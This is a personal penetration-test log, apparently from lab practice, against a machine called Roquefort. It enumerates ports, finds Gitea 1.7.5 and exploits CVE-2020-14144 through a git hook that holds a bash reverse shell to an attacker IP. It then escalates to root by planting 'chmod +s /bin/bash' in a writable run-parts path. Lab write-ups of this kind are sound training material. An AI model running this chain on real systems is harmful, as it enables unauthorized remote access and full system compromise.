Roquefort

๐Ÿงช Pentest Log: {{date:2025-08-16}}

๐Ÿ” Target Information

ip=192.168.182.67

๐Ÿ“ก Enumeration

๐Ÿ”Œ Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt

nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt

Port 21

Port 22

Port 2222

Port 3000

Web Directory Scan

gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt

dirsearch -u http://$ip -r -o dirsearch.txt

wpscan --url http://$ip
Gitea Version: 1.7.5

Google for "Gitea Version: 1.7.5" exploit, found

CVE-2020-14144

๐Ÿ’ฃ Exploitation

๐Ÿ“Œ Vulnerability Summary

๐Ÿš€ Exploit Execution

๐Ÿ”ง Exploit Method

Tool / Script Used:

https://github.com/p0dalirius/CVE-2020-14144-GiTea-git-hooks-rce

Create a test user and a test repo, add post recieve hook

#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.45.163/3000 0>&1
touch README.md
git init
git add README.md
git commit -m "Initial commit"
git remote add origin http://$ip:3000/test/test.git
git push -u origin master
python3 /home/kali/Documents/oscp/Shell\ Handler/penelope/penelope.py -p 3000

๐Ÿงฌ Privilege Escalation

๐Ÿ‘ค Current Access

๐Ÿ” Enumeration

Writeable Path

find / -type d -maxdepth 5 -writable 2>/dev/null

Found

/usr/local/bin

๐Ÿ”“ Privilege Escalation Exploit

๐Ÿ“Œ Exploit Summary

๐Ÿ”ง Exploit Steps

echo 'chmod +s /bin/bash' > /usr/local/bin/run-parts
chmod +x /usr/local/bin/run-parts
bash -p